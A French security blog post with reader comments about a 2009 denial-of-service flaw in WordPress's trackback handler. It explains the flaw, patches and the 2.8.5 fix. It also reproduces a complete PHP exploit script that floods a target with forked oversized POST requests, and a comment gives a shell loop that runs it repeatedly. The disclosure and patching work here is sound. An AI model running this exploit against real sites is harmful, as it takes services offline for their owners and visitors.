Skip to content

WordPress Ressource Exhaustion Exploit dans toutes les versions de WordPress

36. C’est le nombre de lignes de PHP contenues dans l’exploit que je viens de tester avec intérêt.
4. C’est le nombre de serveurs contenus dans un cluster de test au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel. 01h25, c’est l’heure à laquelle j’écris ce billet: vous m’excuserez donc pour les fautes d’orthographes du billet cet article c’est un peu une « Breaking News ».

Aujourd’hui a donc été release un « WordPress Exhaustion Exploit », c’est une appellation relativement savante pour dire que ca peut faire sauter les services d’un serveur en 36 lignes de code. Je viens de le tester sur l’un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n’est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.

L’attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c’est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.

So, la faille ? Elle se situe au niveau de la gestion de l’encodage du titre.

if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}

En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:

mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)

Dans charset_d_origine on peut spécifier plusieurs charsets. Si l’on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu’elle a trouvé le meilleur, elle va transformer chaine_que_l’on_veut_convertir en nouveau_charset.

Pour exploiter cette faiblesse dans le code, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu’il y a 23 333 charsets d’origine possible (« UTF-8, » fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l’on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l’on envoie la requête une fois, le serveur la traite, maintenant si on répète l’opération sur un délai très court le serveur apprécie moins. C’est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.

<?
if(count($argv) < 2)
die(“You need to specify a url to attack\n”);
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
die(“The url should have http:// in front of it, and should be complete.\n”);
$path = (count($data)==2)?””:$data[‘path’];
$path = trim($path,’/’).’/wp-trackback.php';
if($path{0} != ‘/’)
$path = ‘/’.$path;
$b = “”; $b = str_pad($b,140000,’ABCEDFG’).utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);
$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com';
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol';
$str .= ‘&excerpt=lol';
for($n = 0; $n <= 5; $n++){
$fp = @fsockopen($data[‘host’],80);
if(!$fp)
die(“unable to connect to: “.$data[‘host’].”\n”);
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data[‘host’].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);
echo “hit!\n”;
}
}
?>

Pour l’enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:

$charset = $_POST['charset'];

et la remplacer par:

$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Ce patch permet d’enlever les virgules, du coup le script n’a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L’autre façon de passer un charset_d_origine à la fonction c’est un tableau, là on va pas faire dans la dentelle, si c’est un tableau, on exit. Sinon vous pouvez toujours deny from all wp-trackback.php 😉

L’exploit a été posté sur Full-Disclosure aujourd’hui à 14h30. Il semble avoir été découvert par rooibo et amélioré par Zerial. Ce n’est vraiment pas impossible que d’ici quelques jours de joyeux lurons s’amusent à attaquer les WordPress des bloggeurs « influents » les plus connus. Rooibo explique sur son blog qu’il a avertit l’équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable. Le correctif proposé est celui de roobio, je pense qu’il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu’un str_replace sur un array conduit à du path disclosure.

Rapide update: WordPress vient de release la version 2.8.5.

Voici le diff sur le fichier qui nous intéresse:

john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php
— wordpress-2.8.4/wp-trackback.php 2008-05-25 17:50:15.000000000 +0200
+++ wordpress-2.8.5/wp-trackback.php 2009-10-19 17:10:59.000000000 +0200
@@ -50,7 +50,7 @@
$blog_name = stripslashes($_POST[‘blog_name’]);
if ($charset)
– $charset = strtoupper( trim($charset) );
+ $charset = str_replace( array(‘,’, ‘ ‘), ”, strtoupper( trim($charset) ) );
else
$charset = ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';

Sinon j’ai fait le diff complet ici, car je ne trouve pas l’officiel chez WordPress: diff WordPress-2.8.4 WordPress 2.8.5

Published inSécurité informatique

28 Comments

  1. Julien Julien

    Intéressant ! Surtout que ça fait 3-4 jours que j’ai régulièrement mysql qui crash sur mon serveur, sans raisons apparentes (pas de surcharges ni d’attaques) !

    Je vais patcher de ce pas 🙂 Merci !

  2. Donc, pour bien patcher, on mettrai qqch du genre

    $Charset = $ _POST [ ‘charset’];
    if(is_array($charset)) { exit; }
    $charset = str_replace(”,”,” »,$charset);

    Correct ?

  3. Ce genre de failles, on en découvrira d’autres, on est sur une limite entre une faille wordpress, et une mauvaise gestion d’une exception dans une fonction php.

    Tiens, sinon, bien vu plan rencontre pour le backlink.

  4. euh… ça sert juste à rien ce truck.

    ça fait 15min que je le fais tourner,j’ai 4 pages de hit hit et toujours pas de charges sur le serveur.

    C’est juste un core2 duo chargé à 50% en temps normal. J’ai même désactivé des modules de sécurité apache pour tester (j’ai laissé fail2ban quand même). J’ai laissé les modules de sécu php quand même (la flème).

    Et ben Zéro résultat.

    M’enfin ça pourrait peut-ètre se comprendre si ya un intel atom derrière…

    • John JEAN John JEAN

      @Xorax: Tu utilises des WAFs sur ton serveur ? Genre mod_security ?
      Tente:
      john@john-laptop:~/audits$ while /bin/true; do php wordpress_res.php http://www.example.com; done

      Sur mon serveur de test, et chez tous les serveurs *moyennement paramétrés* du boulot, çà fait son petit effet, crois moi.

  5. Sur un serveur mal paramétrés je pense bien que ça doit faire foirer, mais y doit être HS 12h/mois alors. Parce qu’avec le nombre de chinois qui trainent en se moment 🙂

    j’ai testé ça de local à distant, même résultat. A mon avis pour que ça marche, faut avoir une bonne bp et une installation de base (ici ça doit être mon patch php suhosin qui drop dès que les données post sont trop grosse).

  6. John JEAN John JEAN

    @Xorax: Je vais te contacter par email.
    @PlanRencontre: Attention à la casse $charset != $Charset

  7. Merci beaucoup pour ce tuto 😉 Voila j’ai patché mon serveur. Il ne reste plus qu’a savoir si il faudra le repatcher a chaque nouvelle mise a jour 😉
    PS : si tu veux tu peux me contacter si tu veux la traduction du plugins WP pour l’abonnement par email aux commentaires

  8. Merci pour ce billet d’alerte.
    Une remarque concernant:
    > je pense qu’il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu’un str_replace sur un array conduit à du path disclosure.

    Le code proposé fait le contraire de ce que vous dites: str_replace puis is_array

    $charset = str_replace(”,”,” »,$_POST[‘charset’]);
    if(is_array($charset)) { exit; }

    Bon, ok, c’est pas grave (je suppose que c’est pour voir si on suit…)

    • John JEAN John JEAN

      @Webmaster Code Promo: Je dis aussi, et surtout, ‘Le correctif proposé est celui de roobio’ 😉

      J’aurai fait l’inverse, ce que propose Planrencontre.

  9. Alors pour l’instant on patch avec la technique de Robio ?

    $charset = str_replace(”,”,” »,$_POST[‘charset’]);
    if(is_array($charset)) { exit; }

  10. Effectivement ça marche (enfin ça fait foirer quoi).
    suhosin coupe les données à la limite par défaut (24ko) mais ce n’est pas suffisant. Passer en mod drop limite l’éffet mais le serveur fini toujours par se blinder. Le mod apache limitipconn ne suffit pas également (sauf si on le conf à la limite de l’acceptable). C’est comme si on appelait en continue un script qui met plus de temps à s’exécuter que la transmission elle-même (sauf qu’ici le script mais beaucoup plus de temps).

    Cela dit, il est claire qu’il faut une bonne connexion à l’attaquant (au moins 2Mo/s en upload).

    On peut aussi limiter ça au niveau d’iptables en limitant le nombre de nouvelles connections/seconde (certains serveurs le configure) :

    iptables -I INPUT -p tcp –dport 80 -i eth0 -m state –state NEW -m recent –set

    iptables -I INPUT -p tcp –dport 80 -i eth0 -m state –state NEW -m recent –update –seconds 50 –hitcount 10 -j DROP

    Si le KeepAliveTimeout de apache n’est pas trop élévé (15s sur debian), garder la connexion ouverte sera inutile.

    Ou sinon on applique le patch et c’est bon 🙂

    Mais bon vu la « faille », je pense que sur un Magento c’est comme ça sur toutes les pages, et pas besoin de poster une tonnes de données cette fois 🙂

    Merci John pour les test !

    • John JEAN John JEAN

      @Xorax: Pas de soucis, cela me semblait tellement obscure que ça ne fonctionne pas chez toi !
      Un grand merci pour ton feed efficace, c’est appréciable d’avoir un retour pour les lecteurs sur les tests qu’on a fait cette aprem.

  11. @John JEAN:
    (j’aurais fais ce que propose Planrencontre)

    Si je puis me permettre: pourquoi alors ne pas proposer le bon code dans le billet? Cela lui donne encore plus de valeur, le rend différent, l’éloigne du billet initial… bref, expose votre personnalité!

    (mais c’est vraiment pour chipoter; ceci dit, j’ai patché mon WP comme Planrencontre, sans avoir vu son commentaire !)

  12. John JEAN John JEAN

    @Webmaster Code Promo: Simplement parce que je n’étais pas absolument certain du path disclosure et que je me disais que Robio avait surement envisagé les deux cas.
    Et après avoir testé çà ne change absolument rien, les deux patchs sont équivalents.

    • John JEAN John JEAN

      @Doc: En réalité ce plugin ne fait qu’appliquer le patch de Steve Fortuna proposé pour cette faille:


      if ( isset($_POST['charset']) ){
      $charset = $_POST['charset'];
      if ( strlen($charset) > 50 ) { die; }

      Ca laisse d’ailleurs la possibilité de caler 8,33 charset puisque l’on ne stoppe que si $charset > 50 caractères. Je préfère le patch original à celui-ci.

  13. Gros Gros

    Salut
    en regardant le CS de wp, j’ai vu ça:

    if ($charset)
    $charset = strtoupper( trim($charset) );
    else
    $charset = ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS’;

    en ligne 52…

    T’en penserais quoi de le remplacer par:

    if ( ($charset) && strtoupper( trim($charset))=== bloginfo(‘charset’) )
    $charset = strtoupper( trim($charset));
    else
    $charset = ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS’;

    Le code est net et on resterai dans la « tradition wordpress », non?

    Cordialement.
    Gros

  14. Gros Gros

    A noter que le code originel de wp, permettrait en cas $charset pas present, de mettre le mb_encoding en auto soit ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS’;

    Cordialement. 😉

  15. Toujours plus simple : WP 2.8.5 vient de sortir avec au menu « A fix for the Trackback Denial-of-Service attack that is currently being seen. »

    Et ben voila qui tombe bien 😉

  16. Gros Gros

    Escuses moi. J’ai fait une erreur:

    if ( ($charset) && strtoupper( trim($charset))=== get_option(‘blog_charset’);
    $charset = strtoupper( trim($charset)); //$charset = get_option(‘blog_charset’);
    else
    $charset = ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS’;

    Comme ça, on sera plus dans la tradition 😉

    • John JEAN John JEAN

      Hello,

      C’est le diff quasi officiel de WordPress, étonnant non ? 🙂

      john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff
      diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php
      --- wordpress-2.8.4/wp-trackback.php 2008-05-25 17:50:15.000000000 +0200
      +++ wordpress-2.8.5/wp-trackback.php 2009-10-19 17:10:59.000000000 +0200
      @@ -50,7 +50,7 @@
      $blog_name = stripslashes($_POST['blog_name']);


      if ($charset)
      - $charset = strtoupper( trim($charset) );
      + $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
      else
      $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';

      Par ailleurs, soit je cherche mal, soit WordPress communique assez mal dessus, mais je n’ai pas trouvé le diff officiel entre les deux versions, alors je vous sors le mien.
      Il est disponible ici: diff WordPress-2.8.4 WordPress 2.8.5

  17. J’avoue ne pas bien comprendre l’intérêt de publier un code exploitant une faille, d’autant plus d’un logiciel populaire, avant que ne soit disponible la correction, ceci afin d’éviter que des petits malins qui n’y connaissent rien usent et abusent du système.

    • John JEAN John JEAN

      Hello,

      La réponse est pourtant toute simple:
      Les petits malins ont tous seclist dans leurs RSS. Les petits malins ont connu la « faille » et le code permettant de l’exploiter à 14h30 (heure française), ce jour là.
      Sauf que sur full-disclosure il n’y a que la faille et rien d’autre. Moi quand je propose le script c’est avant tout pour l’expliquer et pour proposer le correctif qui est dans le billet, les petits malins n’ont pas besoin de moi pour trouver le sourcecode permettant l’exploit.
      Par contre les webmasters ont besoin de comprendre la faille lorsqu’on leur demande de modifier quelques lignes au sein de leurs scripts, sinon ils se demandent ce que vont faire de telle modifications s’ils ne les comprennent pas, surtout dans un cadre ou l’on se situe avant que le patch officiel ne soit disponible.

      La faille n’aurait pas du être postée sur full-disclosure tant que le correctif officiel n’était pas proposé.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *